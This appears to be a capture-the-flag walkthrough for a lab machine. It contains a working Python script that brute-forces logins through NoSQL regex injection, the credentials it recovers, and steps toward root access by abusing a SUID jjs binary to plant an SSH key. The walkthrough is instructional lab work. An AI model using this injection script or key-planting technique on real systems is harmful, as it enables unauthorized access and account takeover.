Now lets create a python script to brute force the usernames and passwords
import sys
import string
import requests
class MangoBruteForcer:
def __init__(self, url):
#Constructor to initialize the class with the target URL
self.url = url
def brute_password(self, user):
#Function to brute force the password for a given username
password = ""
while True:
#Iterate over each character in the ASCII letters, digits and punctuations
for c in string.ascii_letters + string.digits + string.punctuation:
#Skip apecial characters that may interfere with the URL
if c in ["*", "+", ".", "?", "|", "\\"]:
continue
#Display the current password attempt in the console
sys.stdout.write(f"\r[+] Password: {password}{c}")
sys.stdout.flush()
#Send a POST request to the target URL with the current username and password regex
resp = requests.post(
self.url,
data={
"username": user,
"password[$regex]": f"^{password}{c}.*",
"login": "login",
},
)
# Check if the response indicates a successful login attempt
if "We just started farming!" in resp.text:
# If successful, update the password and make a final login attempt
password += c
resp = requests.post(
self.url,
data={"username": user, "password": password, "login": "login"},
)
#Check if the final login attempt is successful
if "We just started farming!" in resp.text:
#Print the found password and return from the function
print(f"\r[+] Found password for {user}: {password.ljust(20)}")
return
def brute_user(self, res):
# Function to brute-force the username and call brute_password on each attempt
found = False
for c in string.ascii_letters + string.digits:
# Display the current username attempt to the console
sys.stdout.write(f"\r[*] Trying Username: {res}{c.ljust(20)}")
sys.stdout.flush()
# Send a POST request to the target URL with the current username regex
resp = requests.post(
self.url,
data={
"username[$regex]": f"^{res}{c}",
"password[$gt]": "",
"login": "login",
},
)
# Check if the response indicates a successful username attempt
if "We just started farming!" in resp.text:
found = True
self.brute_user(res + c)
if not found:
print(f"\r[+] Found user: {res.ljust(20)}")
self.brute_password(res)
if __name__ == "__main__":
try:
target_url = "http://staging-order.mango.htb/"
brute_forcer = MangoBruteForcer(target_url)
initial_user = ""
brute_forcer.brute_user(initial_user)
except Exception as e:
print(f"Error: {e}")
Now Lets run this script
we have 2 users and associated password
[+] Found user: admin
[+] Found password for admin: t9KcS3>!0B#2
[+] Found user: mango
[+] Found password for mango: h3mXK8RhU~f{]f5H
[*] Trying Username: 9
Lets see if we can ssh into the machine'
ssh mango@10.10.10.162
we have a SSH session as mango
if we look within the home directory we can see both admin and mango
Lets see if we can switch our user to admin, using the admin password we found
su admin
we are admin, but we dont have sudo privileges on the machine
When we search for SUID files, we can see the following
find / -type f -perm /4000 2>/dev/null
we do find something interesting
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
what we can do is write to a file (/root/.ssh/authroized_keys) and drop a SSH key into the file and ssh in as root, to do this
Let's generate some keys
mkdir .ssh
ssh-keygen
Lets create a exploit script using the knowledge from gtfobins
copy the location of the authorized_keys file /root/.ssh/authorized_keys
copy our public key so it can be written to authorized_keys
